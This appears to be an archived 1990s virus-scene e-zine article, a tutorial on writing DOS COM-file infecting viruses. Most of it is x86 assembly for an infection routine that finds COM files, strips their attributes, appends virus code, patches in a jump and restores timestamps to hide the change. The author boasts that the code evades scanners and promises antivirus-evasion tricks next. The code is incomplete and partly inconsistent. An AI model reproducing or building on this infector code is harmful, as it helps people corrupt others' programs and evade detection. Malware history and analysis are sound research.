home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / CCTX0497.ZIP / VBBUPDT2.ZIP / VBB-4.ZIP / VBB-4.020 < prev    next >
Text File  |  1997-01-03  |  10KB  |  222 lines

  1.  
  2.                       VBB VBB VBB VBB VBB VBB VBB VBB
  3.                      VBB                           VBB
  4.                      VBB Directory Findy by Spider VBB 
  5.                      VBB                           VBB
  6.                      VBB          of VBB           VBB
  7.                      VBB                           VBB
  8.                       VBB VBB VBB VBB VBB VBB VBB VBB
  9.  
  10.   Hi, I'm Spider, i'm new on VBB, and on this article I will talk about COM
  11.  virus. Note that to understand what I will show, you MUST know assembly, and
  12.  how COM files and virus works.. so, let's start of the beginning:
  13.  
  14.  How COM files work
  15.  ~~~ ~~~ ~~~~~ ~~~~
  16.   All files are divided into segments, these segments are not in order and
  17. can be load in to any place of memory... the principal diference between a
  18. COM and EXE file is that on COM files, the segmente will always start at 100h!
  19.   With this in mind, it will be very simples to write a COM virus.
  20.  
  21.  How COM virus work
  22.  ~~~ ~~~ ~~~~~ ~~~~
  23.   Ok, what a virus will do is open the COM file and save the first 3 bytes,
  24.  on the place of this 3 bytes, the virus will put a JMP to the end of the file
  25.  and copy the rest of the virus to it... so, the virus will always run first!
  26.   After do the job, the virus will restore the original 3 byte, and load again
  27.  at 100h, so the file starts again without know that there is something wrong.
  28.   A normal COM file is like this:
  29.        
  30.        1               2                    3
  31.    __________ ____________________ __________________
  32.   |          |                    |                  |
  33.   |          |                    |                  |
  34.   |__________|____________________|__________________|
  35.  
  36.  Number 1 - Begining of the COM file 
  37.         2 - Middle of COM file
  38.         3 - End of COM file
  39.   On most COM files, they are executed and loaded on this order, 1, 2, 3. When
  40.  a virus infects a COM file, the COM file will look like this:
  41.  
  42.    1      3              4                 5                   2
  43.    ___ ________ ____________________ __________________ _______________
  44.   |   |        |                    |                  |               |
  45.   |JMP|        |                    |                  |    VIRUS      |
  46.   |___|________|____________________|__________________|_______________|
  47.  
  48.   When finish the job the virus will replace the JMP("1") with the 3 bytes,  
  49.  and back control to the COM file!
  50.   
  51.   So a simple but good virus will do this:
  52.     1- Find a file to fuck
  53.     3- Save the atributes of the file
  54.     2- Turn all file's attributes to OFF(normal file)
  55.     3- Open the file for read/write
  56.     4- Save the date/time of the file
  57.     5- See if is already infect, if so, go to 8
  58.     6- No, save the first 3 bytes, and replace it with a JMP
  59.     7- Copy the rest of the virus to the end of the COM file
  60.     8- Close the file
  61.     9- Restore date/time/....
  62.    10- Back control to the original program
  63.    11- End
  64.  
  65.  Now, let's take a look on a virus that will do exacly that:
  66.  
  67.  ;----------------------------------------------------------------------
  68.  ; The Simple routine to Search for a .COM File...
  69.  ;----------------------------------------------------------------------
  70.  com_files       db      "*.com",0 ; Mask for COM files.
  71.                              
  72.          mov ah, 4eh               ; Point to a *.COM file...
  73.          mov dx, com_files         ; Mask for COM files.
  74.          mov cx, 7                 ; Any kind of file.
  75.          int 21h                   ;
  76.  
  77.          cmp ax, 12h               ; Found?!?
  78.          je exit                   ; No, exit...
  79.          jmp found_file            ; Yes, FUCK IT!!!
  80.  
  81.  ; Instead of Exiting here you can make the Virus go and change dir and
  82.  ; look for several other .com files else where... with the help of the
  83.  ; path or simply searching for more <dir>...
  84.  
  85.  found_file:
  86.          mov di, [si+file]         ; DI points to the filename.
  87.          push si                   ;
  88.          add si, file              ; SI points to filename...
  89.  
  90.          mov ax, offset 4300h      ; Get file attributes.
  91.          mov dx, si                ; Filename in DX.
  92.          int 21h
  93.  
  94.          mov     file_attrib, cx   ; Save file Attributes.
  95.  
  96.  file dw 0                 ; Here is where we save the filename.
  97.  
  98.  ; Now we will disable all atributes of the COM file that the virus found
  99.  
  100.          mov ax, offset 4301h      ; To set file attributes...
  101.          mov cx, offset 0fffeh     ; Set them to a normal File.
  102.          mov dx, si                ; Filename.
  103.          int 21h                   ;
  104.  
  105.          mov ax, offset 3d02h      ; Open File to Read/Write.
  106.          mov dx, si                ; ASCIIZ filename.
  107.          int 21h                   ;
  108.  
  109.          jnb ok                    ; If file was open continue.
  110.          jmp put_old_attrib        ; Error happened restore 
  111.                                    ;             old attribs and quit.
  112.  ok:
  113.          mov bx, ax                ;
  114.          mov ax, offset 5700h      ; Get File Date & Time...
  115.          int 21h                   ;
  116.  
  117.          mov old_time,cx           ; Save old File Time.
  118.          mov old_date,dx           ; Save old File Date.
  119.  
  120.  old_time db 0                      ; This is the variables that we
  121.  old_date db 0                      ;        use to save the file's info.
  122.  
  123.  ; here we infect the file... but first we SAVE the first 3 bytes
  124.  ; somewhere in our virus
  125.  
  126.          mov ah,3fh                 ; Read file.
  127.          mov cx,3                   ; Number of bytes to read.
  128.          mov dx,first_3             ; Save bytes in the buffer.
  129.          add dx,si                  ; Filename.
  130.          int 21h                    ;
  131.  
  132.          cmp ax,3                   ; Where 3 bytes read?
  133.          jnz fix_file               ; If not fix file like before and quit,
  134.  
  135.  first_3     equ $              ; The First three bytes of the original file!
  136.              int 20h            ; The virus is infected to.
  137.              nop                ;
  138.  
  139.  ; This moves the File pointer to the END of the file
  140.  
  141.          mov ax,offset 4202h        ;
  142.          mov cx,0                   ;
  143.          mov dx,0                   ;
  144.          int 21h                    ;
  145.          mov cx,ax                  ; DX:AX is the FILESIZE!
  146.          sub ax,3                   ; Subtract three because of file pointer.
  147.  
  148.          add  cx,offset c_len_y     ;
  149.          mov  di,si                 ;
  150.          sub di,offset c_len_x      ;
  151.          mov [di],cx                ; Modifies the 2nd & 3rd bytes of program.
  152.  
  153.  ; The writes our virus to the file
  154.  
  155.          mov ah,40h                 ;
  156.          mov cx,virlength           ; Virus Length.
  157.          mov dx,si                  ; File.
  158.          sub dx,offset codelength   ; Length of virus codes.
  159.          int 21h                    ;
  160.  
  161.          cmp ax,offset virlength    ; All bytes written?
  162.          jnz fix_file               ; If no fix file and quit.
  163.  
  164.  ;Moves the file pointer to the beginning of file and write the
  165.  ;3 bytes JMP at the beginning of the file
  166.  
  167.          mov ax,offset 4200h        ;
  168.          mov cx,0                   ;
  169.          mov dx,0                   ;
  170.          int 21h                    ;
  171.                                                           
  172.          mov ah,40h                 ; Write to file...
  173.          mov cx,3                   ; # of bytes to write...
  174.          mov dx,si                  ; File name...
  175.          add dx,jump                ; Point to the new JMP statement.
  176.          int 21h
  177.  
  178.  jump db 0e9h                       ; This is the JMP that will be put in the
  179.                                     ; Begining of the file!
  180.  
  181.  ;Restore Old File Time & Date
  182.  
  183.  fix_file:
  184.          mov dx,old_date            ; Old File Date
  185.          mov cx,old_time            ; Old file Time...
  186.          and cx,offset 0ffe0h       ; Flat Attribs.
  187.          mov ax,offset 5701h        ;
  188.          int 21h                    ;
  189.  
  190.          mov     ah,3eh             ;
  191.          int     21h                ; Close file...
  192.  
  193.  
  194.  ; Here we'll restore the old file attributes...
  195.  
  196.  put_old_attrib:
  197.          mov     ax,offset 4301h    ;
  198.          mov     cx,old_att         ; Old File Attributes.
  199.          mov     dx,si              ; Filename...
  200.          int     21h                ;
  201.  
  202.  ;----------------------------- EnD -------------------------------------
  203.  
  204.  Anyhow that's it... Simple no? This source was also used in ParaSite ][ of
  205.  Rocky Steady and is STILL undetectable to date with Scanv85. Note that this
  206.  code have lot's of Errors checks, this is very good, but if your virus need
  207.  to have a minimum size, it better don't use this checks. Remember that COM
  208.  files can have only 64k! So create a test to know if your virus can fuck 
  209.  the file, because if the file have 60k, and the virus 5k, the virus will just
  210.  crash file!!
  211.  
  212.  Anyhow theres still work to be done, like you must restore the old data file
  213.  so it will jump to 100h and run the old file the virus was infected too!
  214.  Remember to store them in the beginning and then restore them! Anyhow there's
  215.  a few Variables to be put in like `VirLength' which you should know how to
  216.  do that also the `CodeLength' that is the VIRUS codes ONLY not counting the
  217.  Stacks.
  218.                                                                        
  219.  On next article, I will show a complete COM virus, and some others tricks to
  220.  avoid detection by AV(Anti-Virus LAMER!!).
  221.                                                                    Spider
  222.